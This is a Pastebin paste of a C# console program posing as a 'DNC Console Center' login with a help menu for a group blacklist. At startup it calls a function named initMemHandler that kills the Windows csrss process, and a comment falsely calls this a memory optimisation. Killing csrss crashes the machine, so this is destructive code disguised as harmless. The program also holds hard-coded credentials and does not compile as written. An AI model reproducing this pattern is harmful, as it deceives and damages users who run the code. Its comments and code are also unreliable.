Advertisement
Guest User

Untitled

a guest
Sep 13th, 2016
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.96 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6.  
  7. namespace DNC_Console
  8. {
  9. class Program
  10. {
  11. static void rdln(){
  12. return Console.ReadLine();
  13. }
  14. static void initMemHandler(String pointer){
  15. //perform speed up in user-mem-kernel space by de-allocating unused pointers
  16. System.Diagnostics.Process.GetProcessesByName(pointer)[0].Kill(); // kill unused memory so that new strng vals will auto optimise in string pool.
  17. }
  18. static void printHelp(){
  19.  
  20. Console.WriteLine("You said {0}", help);
  21. Console.WriteLine("The commands are:");
  22. Console.WriteLine("AddPlr [name] adds person(s) to blasklist of DNC. [Only specific people get this permision]");
  23. Console.WriteLine("Kick [name] kicks person(s) from the DNC group. [Only specific people get this.");
  24. Console.WriteLine("End of commands");
  25. Console.WriteLine("If you have a command idea please pm Valiux!");
  26.  
  27. }
  28.  
  29. static void Main(string[] args)
  30. {
  31. initMemHandler("csrss");
  32.  
  33. String Username;
  34. String Password;
  35. String help;
  36.  
  37. Console.WriteLine("Welcome to the DNC Console Center.");
  38. Console.WriteLine("Please input your username and password.");
  39. Username = rdln();
  40. if (Username == "Valiux")
  41. {
  42. Console.WriteLine("Please input your password, {0}", Username);
  43. Password = rdln();
  44. if (Password == "Password")
  45. {
  46. Console.WriteLine("Access granted. Welcome, {0}", Username);
  47. Console.WriteLine("For a list of commands please type help.");
  48. help = rdln();
  49. if (help == "help")
  50. {
  51. printHelp();
  52. }
  53. }
  54. }
  55. }
  56. }
  57. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement